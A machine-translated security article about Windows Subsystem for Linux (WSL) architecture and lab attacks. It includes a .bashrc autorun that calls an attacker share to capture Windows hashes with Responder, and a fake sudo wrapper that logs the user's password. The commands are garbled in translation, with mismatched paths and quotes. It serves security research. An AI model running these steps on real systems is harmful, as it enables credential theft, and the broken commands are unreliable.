Deuchainnean WSL. Pàirt 1

Halò, abair! Bidh OTUS a’ cur cùrsa cùrsa ùr air bhog san Dàmhair "Tèarainteachd Linux". Le dùil ri toiseach a’ chùrsa, tha sinn a’ roinn riut artaigil a sgrìobh fear de na tidsearan againn, Alexander Kolesnikov.

Deuchainnean WSL. Pàirt 1

Ann an 2016, thug Microsoft a-steach an teicneòlas WSL ùr don choimhearsnachd IT (Wuinnean Subsystem airson Linux), a thug air adhart san àm ri teachd farpaisich nach robh comasach roimhe seo a bha a’ sabaid airson mòr-chòrdte am measg luchd-cleachdaidh àbhaisteach agus adhartach OS: Windows agus Linux. Rinn an teicneòlas seo e comasach innealan Linux OS a chleachdadh ann an àrainneachd Windows gun fheum air Linux a ruith, mar eisimpleir, a’ cleachdadh Multi-boot. Air Habr gheibh thu àireamh mhòr de artaigilean a’ toirt cunntas air na buannachdan bho bhith a’ cleachdadh WSL. Ach, gu mì-fhortanach, aig àm cruthachadh an artaigil seo, cha deach sgrùdadh sam bith a dhèanamh air tèarainteachd a leithid de symbiosis de shiostaman obrachaidh air a’ ghoireas seo. Bidh am post seo na oidhirp air seo a cheartachadh. Bruidhnidh an artaigil mu fheartan ailtireachd WSL 1 agus 2 agus nì e sgrùdadh air grunn eisimpleirean de dh ’ionnsaighean air siostaman a’ cleachdadh nan teicneòlasan sin. Tha an artaigil air a roinn ann an 2 phàirt. Bheir a 'chiad fhear seachad na prìomh dhòighean ionnsaigh teòiridheach bho Linux agus Windows. Bidh an dàrna artaigil a’ toirt a-steach stèidheachadh àrainneachd deuchainn agus ath-riochdachadh na h-ionnsaighean.

WSL 1: feartan ailtireachd

Airson an dàibheadh ​​​​as ceart a-steach do chùisean tèarainteachd WSL, feumar na prìomh nuances co-cheangailte ri buileachadh an fho-shiostam a dhearbhadh. Is e aon de na prìomh ghnìomhan cleachdaiche a dh’ fhuasglas WSL an comas obrachadh tro inneal-crìochnachaidh Linux air aoigheachd a tha a’ ruith Windows OS. Cuideachd, bha an co-chòrdalachd a chaidh a thabhann cho dùthchasach is gun gabhadh Linux executables (ELFs) a ruith gu dìreach air siostam Windows. Gus na h-amasan sin a choileanadh, chaidh fo-shiostam sònraichte a chruthachadh ann an Windows 10 a leigeas leat tagraidhean Linux a ruith a’ cleachdadh seata de ghlaodhan siostam sònraichte - mar sin, chaidh oidhirp a dhèanamh seata de syscalls Linux a mhapadh air Windows. Chaidh seo a chuir an gnìomh gu corporra le bhith a’ cur draibhearan ùra ris agus cruth pròiseas ùr. Gu lèirsinneach bha an ailtireachd a’ coimhead mar seo:

Deuchainnean WSL. Pàirt 1

Gu dearbh, chaidh eadar-obrachadh le siostam obrachaidh Linux a chuir air dòigh tro ghrunn mhodalan kernel agus seòrsa sònraichte de phròiseas - pico. Bhon dealbh gu h-àrd, chì thu gum feum am pròiseas a tha a’ ruith air eisimpleir Linux air an aoigh a bhith dùthchasach agus feumaidh e na h-aon ghoireasan a chleachdadh ri tagraidhean àbhaisteach Windows. Ach ciamar a choileanadh seo? Ann am pròiseact Drochaid-tharraing Chaidh bun-bheachdan pròiseas airson Windows a leasachadh a thug seachad na pàirtean riatanach uile den t-siostam obrachaidh (a rèir an dreach aige) gus tagradh OS eile a ruith.

Thoir an aire gun robh an tarraing a chaidh a mholadh ga dhèanamh comasach gun a bhith ag amas air an t-siostam obrachaidh (gu sònraichte, Windows), anns a bheil dùil gun cuir pròiseas OS eile air bhog, agus mhol e dòigh-obrach coitcheann.

Mar sin, dh’ fhaodadh tagradh sam bith taobh a-staigh pròiseas pico ruith gun aire a thoirt do kernel Windows:

  1. Feumaidh solaraichean sònraichte fuasgladh fhaighinn air duilgheadasan co-chòrdalachd agus eadar-theangachadh gairmean siostam;
  2. Feumar smachd ruigsinneachd a dhèanamh tron ​​​​neach-sgrùdaidh tèarainteachd. Tha an monitor suidhichte anns an kernel agus mar sin bha feum aig Windows air ùrachadh ann an cruth draibhear ùr a dh’ fhaodadh a bhith na sholaraiche airson a leithid de phròiseasan. Tha am pròiseas prototype pico air a thaisbeanadh gu sgeamach gu h-ìosal:

Deuchainnean WSL. Pàirt 1

Leis gu bheil siostam faidhle Linux a’ cleachdadh ainmean faidhle agus eòlaire a tha mothachail air cùis, chaidh 2 sheòrsa de shiostaman faidhle a chuir ri Windows gus obrachadh le WSL - VolFS agus DriveFS. Tha VolFS na bhuileachadh air siostam faidhle Linux, is e siostam faidhle a th’ ann an DriveFS a bhios ag obair a rèir riaghailtean Windows, ach aig a bheil comas cugallachd cùise a thaghadh.

WSL 2

Bha grunn chuingealachaidhean aig WSL 1 nach leig leis a bhith air a chleachdadh gus an raon as àirde de ghnìomhan fhuasgladh: mar eisimpleir, cha robh comas aige tagraidhean 32-bit Linux a ruith, agus bha e do-dhèanta draibhearan inneal a chleachdadh. Mar sin, ann an 2020, chaidh WSL 2 a leigeil ma sgaoil, a dh’ atharraich an dòigh-obrach airson an fho-shiostam a thogail. Tha WSL 2 na inneal brìgheil làn-leasaichte a tha a rèir feartan caitheamh ghoireasan WSL 1. A-nis, a rèir nan duilgheadasan a dh’ fhuasgail neach-cleachdaidh Windows OS, faodaidh tu an dreach riatanach den fho-shiostam Linux a thaghadh. Gus so-leòntachd a lughdachadh, chaidh WSL 2 a chuir an gnìomh stèidhichte air Hyper-V ann an Windows 10. Anns an fhoirm seo, tha comas aig Windows a bhith a’ ruith kernel siostam-obrachaidh Linux leotha fhèin. Is fhiach cuimhneachadh gun deach dreach 1 de WSL a thoirt a-steach mar fheart beta a bha còir a bhith a’ sealltainn stiùir leasachadh Windows san raon seo, agus mar sin bha an gluasad gu Hyper-V do-sheachanta. Tha an ailtireachd mu dheireadh a 'coimhead mar seo:

Deuchainnean WSL. Pàirt 1

Anns an dreach seo, tha na goireasan aca fhèin aig kernels Windows agus Linux agus chan eil an eadar-ghearradh ann ach san t-siostam faidhle, ach chan eil an eadar-ghearradh seo coileanta. Tha eadar-obrachadh eadar siostaman faidhle air a dhèanamh tro phasgan frithealaiche teachdaiche a bhios ag obair a’ cleachdadh protocol 9P.

An-diugh tha Microsoft a 'toirt seachad comas gluasad eadar WSL 1 agus WSL 2. Tha an dà dhreach rim faotainn airson an cleachdadh.

Tèarainteachd WSL

Aig an àm seo, tha grunn obraichean ann a tha a’ toirt cunntas air cuid de dhòighean-obrach gus innealan dligheach OS a chleachdadh gus ionnsaigh a thoirt air a’ chonaltradh eadar fo-shiostaman. Cleachdaidh sinn na sgriobtaichean aca gus sgrùdadh a dhèanamh air iomchaidheachd nan ionnsaighean aig àm sgrìobhaidh. Liosta coitcheann de ionnsaighean agus suidheachaidhean:

1. Cur an gnìomh siostam faidhle: còraichean-slighe, cothrom air clàran co-roinnte/uidheaman iomlaid dàta.

Chaidh rannsachadh a dhèanamh gus faighinn a-mach mu bhristeadh riaghailtean ruigsinneachd bho Linux FS-> Windows FS, Windows FS-> Linux FS. Tha rannsachadh air sealltainn gu bheil comas ann faidhle sònraichte atharrachadh taobh a-staigh an OS targaid. Chaidh oidhirpean a dhèanamh cuideachd gus cuid de na siostaman faidhle a chuir nan àite, lethbhreacan a chruthachadh agus a dhubhadh às.

Scenario:

  • A. Ionnsaigh bho shiostam-obrachaidh Windows - atharrachadh fhaidhlichean bhon eòlaire /etc den Linux OS.
  • B. Ionnsaigh bhon t-siostam-obrachaidh Linux - atharrachadh fhaidhlichean ann an clàran: C:Windows, C:Program Files, C:Users<User>

2. Cur an gnìomh an stac lìonra.

Chaidh an rannsachadh a dhèanamh a' cleachdadh eisimpleirean de dh'ionnsaighean bho shiostam-obrachaidh Linux air Windows. Chaidh feartan an stac lìonra a chleachdadh, is e sin, dòighean dearbhaidh air diofar ghoireasan.

Scenario:

  • A’ fosgladh ruigsinneachd gu port a tha air a chleachdadh air siostam Windows
  • A 'fosgladh port gun na còraichean iomchaidh
  • A’ ruith slige cùil a’ cleachdadh faidhle elf air siostam-obrachaidh Windows.

3. A 'falach foillseachadh pròiseasan bathar-bog droch-rùnach a' cleachdadh fo-shiostam WSL.

Bha an rannsachadh stèidhichte air fìrinn shìmplidh - chan urrainn dha fo-shiostaman tèarainteachd casg a chuir air tachartasan ann an kernel eile a bhios ag obair a’ cleachdadh solaraiche dligheach bhon t-siostam obrachaidh a thaobh WSL 1. A thaobh WSL 2, chan eil dòigh ann air tachartasan a tha a’ tachairt fhaicinn ann an kernel air leth taobh a-staigh inneal brìgheil aotrom.

Scenario:

1) Cuir air bhog an tagradh airson ruigsinneachd iomallach air an t-siostam agus faic na tachartasan clàraichte.

Deuchainnean WSL 1: eadar-ghabhail hash (Windows)

Mu dheireadh ràinig sinn am pàirt practaigeach. An toiseach, feumaidh tu an àrainneachd deuchainn a stèidheachadh. Thèid a h-uile deuchainn a dhèanamh air being le Windows 10 2004 air a chuir a-steach. Chaidh ìomhaigh Ubuntu 18.04 a thaghadh mar ìomhaigh an t-siostaim obrachaidh airson WSL. Chaidh an ìomhaigh a thaghadh air thuaiream, agus obraichidh neach sam bith eile mar an ceudna. Òrdughan airson seasamh a stèidheachadh:

Feumaidh tu a chuir air bhog an toiseach powershell.exe mar rianadair.

Airson WSL 1 feumaidh tu na h-òrdughan a ruith:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Às deidh dhut an stand ath-thòiseachadh, faodaidh tu an àithne bash a ghairm. Ma dh’ obraich a h-uile càil ceart, chì thu toradh coltach ri seo ann an consol Windows:

    Deuchainnean WSL. Pàirt 1

    Cleachdaidh sinn cuairteachadh Kali Linux mar inneal an neach-ionnsaigh; feumaidh a h-uile inneal a bhith air an aon lìonra ionadail.

    Gabhamaid ris gu bheil cothrom gun bhuannachd againn air WSL air inneal Windows. Feuchaidh sinn ri ionnsaigh a thoirt air siostam obrachaidh Linux le bhith a’ gairm àithne bho Linux. Gus an ionnsaigh a chuir an gnìomh, cleachdaidh sinn innleachd autorun sìmplidh - cuiridh sinn ris an sgriobt againn airson a chuir gu bàs ann an àrainneachd Linux. Gus seo a dhèanamh feumaidh tu am faidhle atharrachadh .bashrc.

    Air inneal le WSL bidh sinn a’ coileanadh:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Air inneal Kali Linux bidh sinn a’ ruith:

    1. Responder -I eth0 -rdvw

    Air inneal Windows, leig leinn bash a chuir air bhog.

    Tha sinn a’ feitheamh ris an toradh air inneal Kali Linux:

    Deuchainnean WSL. Pàirt 1

    Mar sin, fhuair sinn hashes cleachdaiche Windows tro fho-shiostam WSL le bhith a’ cur an gnìomh an àithne air siostam Linux.

    Deuchainnean WSL 1: a’ faighinn facal-faire cleachdaiche (Linux OS)

    Dèanamaid aon deuchainn eile. Rè an t-seic seo cuiridh sinn ris an fhaidhle .bashrc grunn òrdughan gus am faigh thu facal-faire neach-cleachdaidh siostam-obrachaidh Linux.

    Nach cuir sinn bash air bhog agus cuir a-steach na h-òrdughan:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Gus an ionnsaigh a choileanadh gu soirbheachail, feumaidh an neach-cleachdaidh Sam sudo a ghairm ann an ceann-uidhe Linux. Às deidh seo, bidh am facal-faire cleachdaiche Linux OS san fhaidhle pass.txt:

    Deuchainnean WSL. Pàirt 1

    Chaidh buileachadh nan ionnsaighean a thoirt seachad airson fiosrachadh teòiridheach a-mhàin.

    Bheir an ath phàirt den artaigil cunntas air buileachadh a ’phròtacal 9P, beachdaich air cruthachadh sganair airson a’ phròtacal seo, agus cuideachd ionnsaigh a dhèanamh ga chleachdadh.

    Liosta de litreachas cleachdte

    Deuchainnean WSL. Pàirt 1

    Leugh tuilleadh

    Source: www.habr.com

    Cuir beachd ann